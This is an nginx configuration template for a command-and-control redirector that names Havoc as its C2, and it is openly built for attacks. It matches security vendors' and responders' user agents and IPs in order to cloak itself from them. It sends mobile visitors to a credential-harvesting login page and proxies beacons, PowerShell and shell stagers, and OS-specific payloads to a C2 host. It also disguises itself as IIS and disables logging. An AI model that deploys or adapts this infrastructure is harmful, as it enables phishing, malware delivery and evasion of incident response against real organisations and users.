# Advanced Redirector Configuration with IR Evasion
# templates/redirector-site.conf.j2

# Detect security tools by user agent
map $http_user_agent $is_security_tool {
    default 0;
    # Common security tools, scanners, and IR user agents
    ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}

map $http_user_agent $is_mobile {
    default 0;
    ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
}

map $remote_addr $is_known_security_ip {
    default 0;
    # Example security vendor IP ranges - replace with actual ones
    "192.168.1.0/24" 1;  # Example placeholder
    "10.0.0.0/8" 1;      # Example placeholder
}

# HTTP to HTTPS redirect
server {
    listen 80;
    listen [::]:80;
    server_name {{ redirector_subdomain }}.{{ domain }};
    
    # Redirect to HTTPS
    return 301 https://$host$request_uri;
}

# Main HTTPS server
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name {{ redirector_subdomain }}.{{ domain }};
    
    # SSL Configuration
    ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:10m;
    
    # Root directory
    root /var/www/html;
    index index.html;
    
    # Advanced IR Evasion
    # 1. Redirect security tools to benign sites
    if ($is_security_tool) {
        return 302 https://www.google.com;
    }
    
    # 2. Redirect known security IPs
    if ($is_known_security_ip) {
        return 302 https://www.microsoft.com;
    }
    
    # 3. Direct mobile users to credential capture
    if ($is_mobile) {
        return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
    }
    
    # 4. Add timing delay for suspicious connections
    if ($http_referer ~* (security|scan)) {
        set $delay_response 1;
    }
    
    # Valid C2 beacon routing - CRITICAL PATHS
    location ~ ^/api/beacon/ {
        # Only valid beacons proceed to C2
        proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_ssl_verify off;
        
        # Implement artificial delay for suspicious connections
        if ($delay_response) {
            limit_rate 1k;  # Slow down response
        }
    }
    
    # Secure stager delivery routes
    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
        # Only valid requests that passed the earlier checks
        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
    }
    
    # Content access for payload delivery
    location ~ ^/content/(windows|linux)/(.+)$ {
        # Specific valid content paths
        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # Redirect specific payload formats based on client OS
    location ~ ^/download/payload$ {
        if ($http_user_agent ~* windows) {
            return 302 /content/windows/$win_exe;
        }
        if ($http_user_agent ~* linux) {
            return 302 /content/linux/$linux_bin;
        }
        # Default fallback for unknown OS
        return 302 /;
    }

    # Secure payload delivery path for synced payloads
    location /resources/ {
        alias /var/www/resources/;
        limit_except GET { deny all; }
        add_header X-Content-Type-Options "nosniff" always;
        add_header Content-Security-Policy "default-src 'none'" always;
        add_header X-Frame-Options "DENY" always;
        add_header Server "Microsoft-IIS/10.0" always;
        autoindex off;
        access_log off;
    }
    
    # Credential harvesting login page
    location ~ ^/login/auth\.html$ {
        root /var/www;
        try_files $uri =404;
        add_header X-Frame-Options "DENY" always;
    }
    
    # Protect credential processing script
    location ~ ^/login/process\.php$ {
        # Allow POST only
        limit_except POST { deny all; }
        
        # Process the PHP file
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
    }

    # Block direct access to sensitive files
    location ~ \.(enc|key|pem|log)$ {
        deny all;
        return 404;
    }
    
    {% if setup_integrated_tracker | default(false) | bool %}
    # Email tracker pixel only (not exposing dashboard)
    location ~ ^/px/(.+)\.png$ {
        proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
        proxy_http_version 1.1;
        proxy_set_header Host {{ tracker_domain }};
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Proto https;
        
        # Cache control for tracking pixels
        add_header Cache-Control "no-store, no-cache, must-revalidate" always;
        expires -1;
    }
    {% endif %}
    
    # Primary location for legitimate website traffic
    # This acts as a catch-all for non-matching URIs
    location / {
        # Check if this is potentially an attempt to access a non-existent payload
        if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
            # If invalid payload URI, redirect to real target
            return 302 https://www.{{ domain }};
        }
        
        # Otherwise serve legitimate content
        try_files $uri $uri/ =404;
    }

    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "no-referrer" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
    
    # Make server appear as IIS
    add_header Server "Microsoft-IIS/10.0";
    
    # Disable logging
    {% if zero_logs | default(true) | bool %}
    access_log off;
    error_log /dev/null crit;
    {% endif %}
}

# Catch-all server block
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;
    
    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
    
    # Redirect unknown hosts to legitimate sites
    return 301 https://www.google.com;
    
    access_log off;
    error_log /dev/null crit;
}